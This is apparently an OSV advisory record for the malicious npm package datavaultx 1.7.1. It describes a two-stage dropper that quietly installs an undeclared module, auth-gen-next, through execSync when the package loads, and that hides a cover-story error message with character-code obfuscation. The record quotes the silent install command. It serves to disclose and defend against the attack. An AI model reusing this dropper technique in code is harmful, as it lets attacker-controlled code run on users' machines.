{"id":"MAL-2026-10460","revision":"c627f7233f514fa895e0dd31aeb0a4f3","records":[{"revision":"c627f7233f514fa895e0dd31aeb0a4f3","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-10460","aliases":[],"title":"Malicious code in datavaultx (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (bbf831f155eb2a6d04427e5cc3cd239055844e80c3b02576a5d546e4e7ab42b6)\nOn require of the package's main entry (auth.js -> lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported...') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.\n","state":0,"publishedAt":"2026-07-13T17:37:30+00:00","modifiedAt":"2026-07-13T18:16:56.8800558+00:00","affected":[{"ecosystem":"npm","name":"datavaultx","ranges":[],"versions":["1.7.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/datavaultx/v/1.7.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-10460","license":"OSV · upstream source license applies","key":"osv:MAL-2026-10460","identifiers":["MAL-2026-10460"]},"retained":false,"historicalAffected":[]}],"coverage":[]}